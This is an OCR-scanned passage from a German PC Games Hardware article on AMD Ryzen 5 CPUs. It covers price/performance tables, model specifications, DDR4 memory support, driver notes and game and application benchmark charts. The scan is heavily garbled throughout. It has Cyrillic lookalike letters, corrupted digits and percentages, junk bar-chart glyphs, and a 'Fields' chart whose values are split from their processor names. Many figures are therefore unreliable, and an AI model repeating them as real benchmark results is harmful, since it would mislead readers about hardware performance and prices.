schen Linpack-Benchmark (nicht 
im Parcours), bringt die zusätzli- 
che Unterteilung der Arbeit nichts 
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. . Li .. . Li Ch . 
CPUs bis 350 Euro: Preis-/Leistungs-Verhältnis von 30 Prozessoren im Überblick 
350 @ 350 
ш Intel-Prozessoren 
ш AMD-Prozessoren 
300 300 
— Trendlinie 1: CPUs bis 350 Euro 
== Trendlinie 2: CPUs aller Preisbereiche 
250 250 
° 
= 
= 
ш 200 200 
= 
14 
° 
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= 150 150 
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= 
100 100 
50 50 
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Normierter PCGH-Leistungsindex (jeweils acht Spiele und Anwendungen) in Prozent 
Prozessor Gesamt-Index Spiele-Index Leistungs- Prozessor Gesamt-Index Spiele-Index Leistungs- 
Preis/Leistung Preis/Leistung index Preis/Leistung Preis/Leistung index 
1 | Intel Pentium G4560 (3,5 GHz - 2c/4t) 100% 100% 43,8% 16 | AMD Ryzen 5 1500X (3,5+ GHz - 4c/8t) 43,9% 37,3% 63,0% 
2 | AMD Athlon ХА 845 (3,5+ GHz – 2m/4t) 94,4% 83,7% 28,9% 17 | Intel Core i3-7350K (4,2 GHz - 2c/4t) 41,9% 40,9% 52,9% 
3 | AMD FX-4300 (3,8+ GHz - 2m/4t) 74,3% 68,1% 31,6% 18 | Intel Core i5-7400 (3,0+ GHz - 4c/4t) 41,9% 38,6% 56,7% 
4 | AMD A8-7600 (3,1+ GHz - 2m/4t) 73,8% 65,6% 28,3% 19 | AMD FX-8370 (4,0+ GHz - 4m/8t) 41,7% 34,4% 50,0% 
5 | AMD FX-6300 (3,5+ GHz - 3m/6t) 69,8% 61,8% 40,0% 20 | Intel Core i5-7500 (3,4+ GHz - 4c/4t) 40,2% 37,0% 60,7% 
6 | AND FX-8300 (3,3+ GHz — 4m/8t) 61,8% 52,1% 44,2% 21 | AMD Ryzen 5 1600X (3,6+ GHz - 6c/12t) 40,2% 30,9% 75,1% 
7 | AND ЕХ-6350 (3,9+ GHz — 3m/6t) 58,5% 50,9% 42,3% 22 | AMD A10-6800K (4,1+ GHz – 2m/4t) 38,4% 33,9% 30,8% 
8 | Intel Pentium G4400 (3,3 GHz - 2c/2t) 57,4% 47,4% 23,6% 23 | AMD A10-7870K (3,9+ GHz - 2m/4t) 38,4% 34,3% 30,9% 
9 | AMD FX-8350 (4,0+ GHz – 4m/8t) 55,3% 45,5% 49,6% 24 | Intel Core i5-7600K (3,8+ GHz - 4c/4t) 36,8% 33,4% 65,2% 
10 | Intel Core i3-6100 (3,7 GHz - 2c/4t) 53,3% 52,0% 46,2% 25 | Intel Core i5-6500 (3,2+ GHz - 4c/4t) 35,3% 31,8% 54,3% 
11 | AMD FX-8320E (3,2+ GHz - 4m/8t) 47,8% 40,2% 43,2% 26 | Intel Xeon E3-1230 v5 (3,4+ GHz - 4c/8t) 34,5% 30,0% 69,5% 
12 | AMD Ryzen 5 1600 (3,2+ GHz - 6c/12t) 46,0% 35,7% 71,0% 27 | Intel Core i5-6600K (3,5+ GHz - 4c/8t) 33,5% 29,7% 57,7% 
13 | AMD Ryzen 5 1400 (3,2+ GHz - 4c/8t) 44,3% 37,7% 55,2% 28 | AMD Ryzen 7 1700 (3,0+ GHz - 8c/16t) 33,0% 23,5% 74,6% 
14 | AMD A10-7800 (3,5+ GHz – 2m/4t) 44,1% 39,0% 28,6% 29 | Intel Core i7-7700K (4,2+ GHz - 4c/8t) 31,9% 28,1% 85,2% 
15 | AMD FX-9590 (4,7+ GHz – 4m/8t) 43,9% 36,0% 54,1% 30 | Intel Core i7-6700K (4,0+ GHz - 4c/8t) 31,9% 28,1% 79,1% 
Basis: PCGH-Leistungsindex in Relation zum (bei Redaktionsschluss) aktuellen Marktpreis; Trendlinien: durchgezogene Linie = im Diagramm abgebildete Prozessoren; gestrichelt = alle bisher getesteten Prozessoren 


ein und kann im schlimmsten Fall 
durch erhöhten Verwaltungsauf- 
wand die Leistung sogar verringern. 
Auch wenn die entsprechende Soft- 
ware nicht oder nur schlecht auf die 
Nutzung zusätzlicher Threads, etwa 
oberhalb von Quadcores, optimiert 
ist, bringt SMT kaum etwas. Gene- 
rell ist Simultaneous Multithreading 
vorteilhaft und der Nutzen mehrte 
sich in den letzten Jahren - so ist es 
auch für die Zukunft zu erwarten. 


Leistung pro MHz 

Die Leistung der Ryzen-Prozessoren 
konnte AMD gegenüber den vorher- 
gehenden, noch in 32-nm-Technik 
mit der veralteten Bulldozer-Archi- 
tektur gefertigten FX-Prozessoren 
bei Ryzen massiv steigern. Dank 
aktueller Globalfoundries-Fertigung 
mit 14 nm Strukturbreite und einer 
von Grund auf neu entwickelten 
Architektur sank gleichzeitig die 
Leistungsaufnahme deutlich. Damit 


www.pcgameshardware.de 


sind AMDs Ryzen-Prozessoren wie- 
der konkurrenzfähig zu den Intel- 
Modellen - speziell wenn man die 
vergleichsweise günstigen Preise 
berücksichtigt. 


Ryzen - das kommt noch 

Mit Ryzen 5 und 7 sind die für Spieler 
interessantesten Modelle vorgestellt. 
In der zweiten Jahreshälfte will AMD 
das Portfolio mit Ryzen-3-Vierker- 
nern ohne SMT nach unten hin ab- 
runden. Hier sind Preise knapp über 
100 Euro zu erwarten, während bei 
Intel für aktuelle Quadcores derzeit 
noch mindestens rund 175 Euro (i5- 
7400/i5-6400) fällig werden. Spie- 
ler mit begrenztem Budget wird’s 
freuen. Außerdem hat AMD für den 
Sommer „Threadripper“ angekün- 
digt. Dabei handelt es sich um eine 
neue Plattform auf Basis von Server- 
Hardware. Dafür gibt es dort Ryzen/ 
Epyx-CPUs mit bis zu 16 Kernen und 
32 Threads sowie Quad-Channel- 


Interface - das wahre Pendant zu 
Intels Sockel-2011- und -2066-Platt- 
formen. Zu Preisen und Verfügbar- 
keit ist noch nichts offizielles be- 
kannt. Laut Roadmap kurz danach 
soll Ryzen dann auch das mobile 
Segment erobern - zunächst aller- 
dings als reiner Prozessor, wobei 
ihm seine SoC-Eigenschaften, sprich 
die integrierten 1/О- und Periphe- 
rie-Anbindungen sicherlich zugute 
kommen. Mit Raven Ridge (Code- 
name) werden Ryzen-basierte APUs 
mit integrierter Grafik von AMD für 
das späte zweite Halbjahr avisiert. 
Ihre Radeon-Kerne sollen dafür aber 
bereits auf der Vega-Architektur 
basieren und könnten somit mögli- 
cherweise schon den schnellen Sta- 
pelspeicher HBM gen2 nutzen. 


Ryzen - schnellerer RAM 
Trotz stetiger Bemühungen und 
Fortschritte seitens AMD und der 


Mainboard-Hersteller um Беѕѕе- 


ren Support für DDR4-Speicher 
bleibt die offizielle Spezifikation für 
Ryzen-Prozessoren weiterhin fix: 


I 2x DDR4-2667 (Single-Rank-Aufbau) 
I 2x DDR4-2400 (Dual-Rank-Aufbau) 
I 4x DDR4-2133 (Single-Rank-Aufbau) 
I 4x DDR4-1866 (Dual-Rank-Aufbau) 


Schon in der vorigen Ausgabe ha- 
ben wir den Ryzen 5 in beiden 
Varianten mit zwei RAM-Riegeln 
durch unseren kompletten Parcours 
gescheucht, aussagekräftige 
Mittelwerte anstelle einzelner Aus- 


um 


reißer zu erhalten. Das Ergebnis: 
Von den offiziell unterstützten Va- 
rianten ist die nominell langsamere 
DDR4-2400-Bestückung aufgrund 
ihrer Dual-Rank-Bauweise 
Praxis einen Hauch flotter. Daher 
verwenden wir DDR4-2400 DR in 
den Benchmarks, die allesamt mit 
der zu Redaktionsschluss aktuellen 
UEFI-Basis „AGESA 1.0.0.4“ für un- 


in der 
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y-Cruncher 0.7.2.9468: Mit Ryzen-Optimierung 


1 Mrd. Nachkommastellen von Pi, multithreaded 


Intel Core i7-6950X (3,0+ GHz — 10c/20t) EEE 59 (Basis) 
Intel Core i7-6900K (3,2+ GHz – 8c/16t) EEE 66 (+11 96) 
Intel Core i7-7700K (4,2+ GHz — 4c/8t) Eu 90 (4-51 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) Eu 91 (+53 96) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) Eu 94 (+59 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) E 101 (+70 %) 
Intel Core i5-7600K (3,8+ GHz – 4с/41) Eu 107 (+81 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) | 119 (+101 96) 
AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t) EN 129 (+117 %) 
) 
) 


AMD Ryzen 5 1400 (3,2+ GHz – 4/8) aa. 


AMD Ryzen 5 1500X (3,5+ GHz — 4с/81) 68171 (+189 %) 


193 (+225 %) 


System: Intel Х99/7170, AMD X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. 
CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Win10 64 Bit Bemerkungen: Auch 
dank höherem AVX2-Durchsatz liegt der i7-7700K knapp vor den R7-1800X. 


Sekunden 
* Besser 


ser Asus Crosshair VI Hero entstan- 
den sind, wobei sich in vielen Fällen 
die Performance nicht oder kaum 
merklich verändert hat. 


Neuer Treiber, neues Glück 

Apropos „neu“: Anfang Mai brach- 
te AMD zunächst ein aktualisiertes 
Energiesparschema zur Integrati- 
on in Windows 10 heraus, welches 
in „amd-chipset-drivers-software- 
1710rcp22-apr27.exe" (auf Heft- 
DVD) enthalten ist. Damit wird 
unter anderem Core-Parking ver- 
hindert, das beim Windows-Schema 
„Ausbalanciert“ etwas Leistung kos- 
ten kann. Gleichzeitig wird dem 


Ryzen-Chip aber die Kontrolle über 
seine Takt- und Spannungszustände 
überlassen, da er selbst diese um 
circa Faktor 30 schneller (1 ms an- 
stelle von circa 30 ms) an die aktu- 
elle Lastsituation anpasst, als es der 
Windows-Scheduler vermag. Wir 
testen mit diesem Leistungssche- 
ma und zeigen somit das aktuelle 
Performance -Niveau. 


Preis-Leistung bei CPUs 

Wie auch für die absolute Leistung 
und Effizienz, erstellt PC Games 
Hardware einen Index, der das 
Preis-Leistungs-Verhältnis abbildet. 
Er zeigt, wieviel Performance Sie 


AMDs Ryzen-Modelle in der Übersicht 


Reihe | Modell | Sockel... Multipli- Kerne Basis- Turbo Turbo XFR TDP Verfügbarkeit Ca.-Preis 
kator (phys./log.) Takt (Allcore) | (Single-Core) | SC-Turbo ... 

R7 800X AMA Unlocked 8/16 3,6 GHz 3,7 GHz 4,0 GHz +100 MHz 95 Wa 02. März 2017 500 EUR 
R7 1700X AMA Unlocked 8/16 3,4 GHz 3,5 GHz 3,8 GHz +100 MHz 95 Wa 02. Márz 2017 380 EUR 
R7 1700 AMA Unlocked 8/16 3,0 GHz 3,2 GHz 3,7 GHz 450 MHz 65 Watt 02. März 2017 315 EUR 
R5 1600X AMA Unlocked 6/12 3,6 GHz 3,7 GHz 4,0 GHz +100 MHz 95 Watt 11. April 2017 255 EUR 
R5 1600 AMA Unlocked 6/12 3,2 GHz 3,4 GHz 3,6 GHz +100 MHz 65 Wa 11. April 2017 210 EUR 
R5 1500X AMA Unlocked 4/8 3,5 GHz 3,6 GHz 3,7 GHz +200 MHz 65 Wa 11. April 2017 190 EUR 
R5 400X AMA Unlocked 4/8 3,2 GHz 3,2 GHz (!) 3,4 GHz +50 MHz 65 Wa 11. April 2017 165 EUR 
Bemerkungen: Mit Ryzen 3-1200X, -1200 und -1100 sollen in der zweiten Jahreshálfte 2017 drei 65-Watt-Quadcores ohne Hyperthreading das Lineup komplettieren. 


Anwendungsleistung: AMD Ryzen mit starkem Abschneiden 


Prozessormodell Anwendungsindex | 3DM Fire Strike | Fritz Chessbench | Cinebench R15 7-Zip Blender 2.76 y-Cruncher 
Physik (Punkte) (Punkte) (Punkte ST/MT) (Sekunden) (Sekunden) 0.6.9.9462 (Sek.) 
Intel Core i7-6900K 90,7% 9.232 24.761 1671.483 126 43 74,6 
АМР Ryzen 7-1800Х 85,2% 19.312 23.143 163/1.639 184 40 08,7 
Intel Core i7-5960X 81,2% 6.203 23.164 139/1.329 135 61 81,2 
AMD Ryzen 7-1700X 80,9% 18.246 2.055 155/1.557 191 149 13,4 
AMD Ryzen 7-1700 75,3% 6.798 20.633 48/1.426 203 61 21,5 
Intel Core i7-6800K 70,2% 15.644 9.695 56/1.114 170 186 107,7 
AMD Ryzen 5-1600Х 69,6% 7.113 9.066 63/1.244 229 81 46,3 
Intel Core i7-5820K 65,8% 13.589 8.880 42/1.022 168 203 110,4 
Intel Core i7-7700K 65,896 4.240 7.133 95/974 184 205 98,5 
AMD Ryzen 5-1600 65,1% 15.583 7.821 149/1.149 236 196 158,2 
ntel Core i7-4790K 57,196 11.924 6.360 75/857 197 231 27,8 
ntel Core i7-5775C 54,7% 12.278 4.590 155/787 195 257 139,3 
ntel Core i7-990X 52,5% 12.349 8.987 08/822 232 243 322,2 
AMD Ryzen 5-1500X 51,1% 12.185 3.551 56/818 283 266 208,9 
ntel Core i5-7600K 47,9% 9.013 2.716 82/676 256 332 129,7 
AMD FX-9590 46,2% 8.407 5.018 13/727 208 415 256,4 
ntel Core i7-3770K 45,5% 9.926 3.908 42/679 217 316 291,5 
AMD Ryzen 5-1400 44,7% 10.875 24155 137/706 321 303 233,9 
ntel Core 15-7500 43,6% 8.101 1.455 57/610 275 361 143,4 
ntel Core i5-4690K 41,096 7.482 12.033 55/565 288 368 168,3 
ntel Core i7-2600K 40,8% 8.971 13.134 34/619 253 351 316,8 
ntel Core i5-3570K 36,4% 6.953 10.891 34/524 285 431 348,3 
AMD FX-8300 36,3% 6.638 11.035 97/530 237 560 326,8 
AMD Phenom Il X6 1100T 33,3% 7.066 11.566 95/498 334 443 424,5 
AMD FX-6350 33,1% 6.238 10.164 00/469 268 630 356,2 
Intel Core i5-2500K 31,6% 6.192 10.131 29/462 351 493 393,2 
Intel Pentium G4560 26,9% 6.022 7.301 49/382 391 510 621,7 
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pro Euro bei jedem Prozessor er- 
wartet - normiert auf ein Maximum 
von 100 % für den Bestwert. Aus- 
gehend von diesen 100 % benotete 
PCGH nach leicht abgemilderter 
DIHK-Abstufung. Mit dieser Ausga- 


be stellen wir für die Prozessoren 
probehalber auf das 15-Punkte- 
System etwa der gymnasialen Ober- 
stufe, inklusive Zwischenschritten 
(etwa 2-*/,voll gut“ oder 3-/,knapp 
befriedigend"), um. Das System er- 


Blender 2.78a VC14: Auto-Vektorisierung aktiv 


Rendering (BMW27.blend, Full-HD 50%, 20 Samples, Tile-Size 120x68) 


Intel Core i7-6950X (3,0+ GHz — 10c/20t) EEE 89 (Basis) 
Intel Core i7-6900K (3,2-+ GHz — 8c/16t) EX 106 (+19 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) [| 108 (+21 96) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) E 113 (+27 %) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) EEE 123 (+39 90) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) EX 139 (+56 96) 
AMD Ryzen 5 1600 (3,24 GHz 6c/12t) EEE 149 (+68 96) 
Intel Core i7-7700K (4,2+ GHz — 4c/8t) Xu 154 (+73 96) 
AMD Ryzen 5 1500X (3,5+ GHz — 4c/8t) | 201 (4-127 96) 
Intel Core i5-7600K (3,8+ GHz – 4с/41) | 226 (4-155 96) 
AMD Ryzen 5 1400 (3,2+ GHz – 4с/81) EEE 233 (+163 96) 
Intel Core i5-7500 (3,4+ GHz – 4c/4t) Eu 251 (+183 96) 
Intel Core i5-7400 (3,0+ GHz – 4c/4t) E 274 (+209 %) 
AMD FX-8300 (3,3+ GHz – 4m/8t) Eu 371 (4318 %) 
AMD Phen. Il X6 1100T (3,3+ GHz — 6c/6t) | 426 (+380 %) 
Intel Pentium G4560 (3,5 GHz — 2c/4t) a 498 (+461 96) 


System: Intel Х99/7170, AMD X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. 
CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Win 10 64 Bit Bemerkungen: Die 
flottere Blender-Version unterstreicht Ryzens Render-Stárke — Intel-Quadcores sind chancenlos. 


Sekunden 
< Besser 


laubt eine differenziertere Abstu- 
fung. Über Feedback im Forum oder 
per E-Mail an cs@pcgh.de freuen 
wir uns natürlich - Sie können sich 
jedoch auch weiterhin am unverän- 
derten Index orientieren. 


Bei PC-Hardware und speziell bei 
Prozessoren liegt es in der Natur 
der Sache, dass das Preis-Leistung- 
Verhältnis rapide abnimmt, je wei- 
ter man sich dem High-End-Bereich 
nähert - Stichwort Premiumzu- 
schlag. Dieser hat speziell mit Intels 
High-End-Desktop-Plattform Sockel 
2011 und dem Zehnkerner i7-6950X 
neue, absurde Höhen erreicht. Dank 
der Ryzen-Modelle von AMD be- 
kommt diese Kurve jedoch speziell 
bei den Sechs- und Achtkernern ei- 
nen deutlichen Knick, während die 
R5-Quadcores beim Preis-Leistungs- 
Niveau nur leicht über den Core i5- 
7400/7500 liegen. 


Prozentual jedenfalls führt der 
Ryzen 5 1600 die Riege moderner, 
spieletauglicher Mehrkerner mit 
einem Index von 46,8 % knapp vor 


dem R5-1400 (44,8 %) an. Rech- 
nerisch noch weiter vorn liegen 
hauptsächlich veraltete Bulldozer- 
basierte Modelle wie FX-6300, FX- 
8300 oder Dualcores, speziell mit 
Hyperthreading wie der Core i3- 
6100 oder der Pentium G4560. FX- 
Modelle werden gerade zum Schleu- 
derpreis angeboten, während die 
Intel-CPUs den günstigen Marktein- 
stieg - im Falle des Pentium G4560 
von unter 60 Euro - mit mehr oder 
minder ausgeprägten Pferdefüßen 
erkaufen. Zweikerner sind heutzu- 
tage nur eine Notlösung; auch wenn 
sie rechnerisch noch gut mithalten, 
kann man von Zukunftstauglichkeit 
nur schwerlich sprechen. Doch be- 
wertet wird das Hier und Jetzt, kein 
Blick in die Glaskugel, und da liegen 
sie nunmal gut im PLV-Rennen. 


Schränkt man den Fokus jedoch et- 
was ein, etwa auf mindestens vier 
echte Kerne, was für Spieler absolut 
empfehlenswert ist, liegt auf ein- 
mal kein Intel mehr an der Spitze, 
sondern AMDs R5-1600. Speziell 
im Vergleich zu den Intel-Sechsker- 


Frametimes in Assassin's Creed Syndicate (3.840 x 2.160): Gerade am Anfang unserer Benchmarksequenz zeigt der höher taktende Quadcore eine gleichmäßigere 
Bildausgabe. Bei den Sechskernern ist der Effekt stärker ausgeprägt und beide R5-1600-Modelle liefern über längere Zeit einen ruhigeren Frametime-Verlauf. 

Wir haben uns bewusst für Ultra-HD entschieden, um zu zeigen, dass auch oberhalb der sonst für CPU-Tests genutzten 720p-Auflósung der verwendete Prozessor noch eine 
Rolle spielt. Allgemein gilt aber nach wie vor, dass der Einfluss der CPU mit steigender Auflósung und einsetzendem Grafiklimit abnimmt — auch wenn wir diesem Aspekt hier 
nicht noch einmal einen episch-breiten Absatz samt eigenem Benchmark-Diagramm gewidmet haben. 


Ryzen 5 1400 (4c/8t) Ryzen 5 1500X (4c/8t) 
“=ч н sns Hotes: 


FRAFS Rench Viewer ees 


Амд. бте: — 150 (67 FPS) 3.840 x 2160 Aug. e: — 151 (66 FPS) 3.840 x 2.160 
1% time: 18,8 (53 FPS) РО 1% time: ia (58 res) PCGH-CPU-Benchmark 
0.1% time: 219 (46 res) Assassin's Creed: Syndicate (0X11) 0.1% time: 18,5 (54 5) Assassin's Creed Syndicate (DX11) 
13Kframes: (0- 1330) Ryzen 5 1400 13K frames: (0 - 1326) АМО Ryzen 5 1500X 
е espan: — 1905 Titan X (Pascal) Ans timespan: 19,08 Titan X (Pascal) 
= DETE ee А M sad N Aen Vr eg "PUES өз 
im и Mv n Deene E ? Š Я Раң 
Kl ы ` 2 wv LN 
ит ^ 
| l l l | | | | l l | | | | | l l l l l l | 
0 z 4 6 8 10 12 14 16 18 20 0 2 4 6 8 10 12 14 16 18 20 
Ryzen 5 1600 (6c/12t) Ryzen 5 1600X (6c/12t) 
u FRAFS Bench Viewer. Notes: Pen FRAFS Bench Viewer Notes: 
Aug. per 149 (67 ЕР5) 3,840 x 2.160 = Амд. бте: 150 (66 FPS) 3840x2.160 Sai 
1% Lime: 16,7 (60 FPS) PCGH-CPU-Benchmark 1% time: 1 (60 FPS) PCGH-CPU-Benchmark 
0.1% time: 178 (Seres) Assassin's Creed Syndicate (DX11) 0.1% time: 17A (57 ЕР) Assassin's Creed Syndicate (DX11) 
13Kframes: (0 1342) Ryzen 5 1600 13K frames: (0- 1326) AND Ryzen 5 1600X 
Umespan: — 1905 Titan X (Pascal) timespan: — 1905 Titan X (Pascal) 
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Dragon Age: Inquisition mit EAs Frostbite-Engine 


Multithread-Shooter: Crysis 3 


„Hinterlands” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-7700K (4,24- GHz - 4с/81) i ЕШШ 137,7 (+88 96) 
Intel Core i7-6700K (4,0+ GHz – 4/81) I ISR 133,3 (+82 %) 
Intel Core i7-6800K (3,44- GHz — 6120 Ez Es 131,0 (+79 %) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) juga 114,4 (+56 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) Egg ШЕШШ 113,4 (+55 90) 
Intel Core i7-4790K (4,0- GHz – 4c/8t) 112,8 (+54 96) 
Intel Core i5-7600K (3,8+ GHz – 4с/41) gg s 111,2 (+52 %) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) [gg ШЕШШ 109,0 (+49 %) 
AMD Ryzen 5 1600 (3,2+ GHz — 6122 ET 105,7 (+45 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) [Xen ШЕШ 104,3 (+43 90) 
Intel Core i5-7500 (3,4+ GHz — 4с/41) Ege 103,4 (+41 %) 

Intel Core i7-3770K (3,5+ GHz – 4с/81) gs 102,7 (+40 96) 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) gn Es 100,0 (+37 96) 
Intel Core i5-7400 (3,0+ GHz – 4с/41) Ego Eu 97,0 (+33 96) 

Intel Core i7-2600K (3,4- GHz – 4c/8t) Xuan cu 89,3 (+22 96) 
AMD Ryzen 5 1400 (3,2- GHz — 4c/8t) ESSE ШЕШ 89,0 (+22 96) 
Intel Core i5-4690K (3,5- GHz — 4c/4t) Xon E 85,4 (+17 96) 

Intel Core i3-6100 (3,7 GHz – 2c/4t) Xen БЕШ 81,1 (+11 96) 
AMD FX-9590 (4,7- GHz — 4m/8t) Ez [E ii 80,6 (+10 96) 
peaux 76,3 (+4 90) 
E 75,8 (+4 %) 
Intel Core i5-2500K (3,3+ GHz – 4c/4t) ШЕ 73,1 (Basis) 
Intel Core i7-920 (2,7- GHz — 4c/8t) ШСД 66,5 (-9 %) 
AMD FX-8300 (3,3+ GHz — Am/8t) ME 65,4 (-11 96) 
AMD FX-6300 (3,5+ GHz- 3m/6t) ME 64,1 (-12 96) 
AMD Phen. Il X6 11007 (3,3+ GHz — 6c/6t) [ag 56,9 (-22 9) 


Intel Pentium G4560 (3,5 GHz — 2c/4t) 
AMD FX-8350 (4,0+ GHz – 4m/8t) 


System: Intel Х99/2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Мі 2 Fps 


» Besser 


Action-Adventure: Assassin's Creed Syndicate 


,Bishopsgate" (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-7700K (4,2+ GHz - 4с/81) Em Ex 131,2 (+87 96) 
Intel Core i7-6800K (3,4+ GHz — 6120 Eg. Ex 130,0 (+85 96) 
Intel Core i7-6700K (4,04- GHz – 4c/8t) ZZ! 120,1 (+71 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) Eod 110,1 (+57 96) 
Intel Core i7-4790K (4,04- GHz – 4с/81) ost 110,0 (+57 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) Egg 106,8 (4-52 90) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) Egg 106,1 (+51 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) gg 104,8 (+49 96) 
AMD Ryzen 5 1600 (3,24 GHz — 67/120) 103,8 (+48 %) 
Intel Core i7-3770K (3,5+ GHz - 4с/81) gates 100,2 (+43 %) 
Intel Core i5-7600K (3,8- GHz – 44 99,7 (+42 96) 
Intel Core i5-7500 (3,4+ GHz – 4с/41) Eg ШЇ 94,4 (+34 96) 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) ES] 03,5 (+34 90) 
Intel Core 15-7400 (3,0+ GHz – 4c/4t) Egan 91,1 (+30 96) 
Intel Core i5-4690K (3,5- GHz – 4c/4t) EEE 85,0 (+21 96) 
Intel Core i7-2600K (3,4+ GHz – 4c/8t) Em 84,9 (+21 96) 
AMD FX-9590 (4,7+ GHz – 4m/8t) EX 81,2 (+16 96) 
AMD Ryzen 5 1400 (3,2- GHz – 4c/8t) ZU 81,0 (+15 %) 
AMD FX-8350 (4,0+ GHz – Am/8t) tS 76,0 (+8 96) 
Intel Core i3-6100 (3,7 GHz — 2с/41) eau 71,4 (+2 %) 
Intel Pentium G4560 (3,5 GHz – 2c/4t) ISSEƏIIWIÓ—CAIIIGIIIIGHBƏIIƏIƏUuNTi9 (+1 96) 
Intel Core 17-920 (2,7+ GHz – 4с/8:) gt 70,9 (+1 96) 
AMD FX-8300 (3,3+ GHz – Am/8t) seu 70,9 (-1 96) 
Intel Core i5-2500K (3,3+ GHz - 4с/41) sg 70,2 (Basis) 
AMD FX-6300 (3,5+ GHz- 3m/6t) ME 64,1 (-9 %) 
AMD Phen. Il X6 11007 (3,3+ GHz — 6c/6t) agr 56,5 (-20 96) 


„Fields” (720p, kein AA/AF/min. Post-Processing) 


EU 193,2 (+173 30) 
EM 176,9 (4150 %) 
EM 1644 (+133 %) 
mG 1542 («118 %) 
EU 154,1 (+118 %) 
mG 149,5 («11190 
EE 1490 (11190) 
EX 145,6 («106 %) 
mG 144, («10490 
pus 142,0 (+101 30) 
E 137,2 («94 %) 
ml 136,7 («93 %) 
EEUU 136,7 (493 90) 
EEUU 133,1 («88 %) 
mG 131,0 (+85 %) 
EU 128,5 (+82 %) 
KG GG 128,5 (-82 %) 
mG 119, (+69 %) 
Fo 119, (+69 %) 
mG 117,5 («66 %) 
W 104,3 (+48 %) 
Ww 102,1 (+44 %) 
[101,6 (+44 96) 
pm 101,5 (+44 96) 
п 95,7 (+35 %) 
ma 94,6 (+34 %) 
WIXYSIGICTII@€IIGGGHIOIHIGIoZYXICn 3 %) 
ml 93,4 (+32 %) 
ИШЕНЕ 92,3 (+31 %) 
pu 90,1 (+27 %) 
pm 89,2 (+26 96) 
EU 88,6 (+25 %) 
p 88,3 (425 90) 
pu 88,0 (+24 96) 
WIIIGIISTTGGS887.3 (+23 %) 
82,9 (+17 %) 
80,3 (+14 96) 
p 77,8 (+10 96) 

| 22. 7 (+4 %) 
E714 (+1 %) 

aS 707 (Basis) 

ES 9,5 (-2 90) 

ES 9, (290) 

E72 (590 

E 55 (7 %) 

pu 64,7 (8 %) 

p 48, (-32 %) 

peu 48,2 (-32 %) 

pou 46,6 (-34 %) 

ШЕШШ 4,3 (37 96) 

JII 43,8 (-38 %) 

WIB 43,0 (39 96) 

ШЕШ 29,6 (-58 96) 

BEE 20,4 (71 96) 

ШШ 18,1 (74 %) 

E3142 (-80 96) 


Intel Core i7-6950X (3,0+ GHz — 10c/20t 
Intel Core i7-6900K (3,2+ GHz — 8c/16t) 
Intel Core i7-5960X (3,0+ GHz — 8c/16t) 
Intel Core i7-5930K (3,5+ GHz – 6c/12t) 
Intel Core i7-6800K (3,4+ GHz — 6с/121) 

( 
( 


AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t 
Intel Core i7-5820K (3,3+ GHz — 6с/121) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) 
Intel Core i7-7700K (4,2+ GHz - 4с/81) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) 
Intel Core i7-6700K (4,0+ GHz — 4c/8t) 
Intel Core i7-4960X (3,6+ GHz — 6c/12t) 
AMD Ryzen 5 1600 (3,2+ GHz - 6c/12t) 
Intel Core i7-3960X (3,3+ GHz — 6с/121) 
Intel Core i7-5775C (3,3+ GHz — 4c/8t) 
Intel Core i7-4790K (4,0+ GHz - 4c/8t) 
Intel Core i7-4770K (3,5+ GHz - 4с/81) 
Intel Core i7-990X (3,5+ GHz — 6c/12t 
Intel Xeon E3-1230 v5 (3,4+ GHz – 4c/8t) 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) 
Intel Core i7-4820K (3,7+ GHz — 4c/8t) 
Intel Core i7-3770K (3,5+ GHz - 4с/81) 
Intel Core i5-7600K (3,8+ GHz - 4c/At) 
AMD FX-9590 (4,74- GHz — 4m/8t) 

Intel Core i5-5675C (3,1+ GHz — 4c/4t) 
Intel Core i5-7500 (3,4+ GHz — 4c/4t) 
AMD Ryzen 5 1400 (3,2+ GHz - 4с/81 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) 
Intel Core i5-4690K (3,5+ GHz - 4c/At) 
Intel Core i5-6600K (3,5+ GHz - 4с/81) 
Intel Core i5-4670K (3,4+ GHz – 4c/At) 
AMD FX-8370 (4,04- GHz — 4m/8t) 

AMD FX-8350 (4,04- GHz — 4m/8t) 

Intel Core i5-7400 (3,0+ GHz — 4c/4t) 
Intel Core i5-6500 (3,2+ GHz — 4с/41) 
Intel Core i5-3570K (3,4-- GHz - 4c/4t) 
Intel Core i3-7350K (4,2 GHz — 2с/4ї 
AMD FX-8300 (3,34- GHz — 4m/8t) 

AMD FX-6350 (3,94- GHz — 3m/6t) 

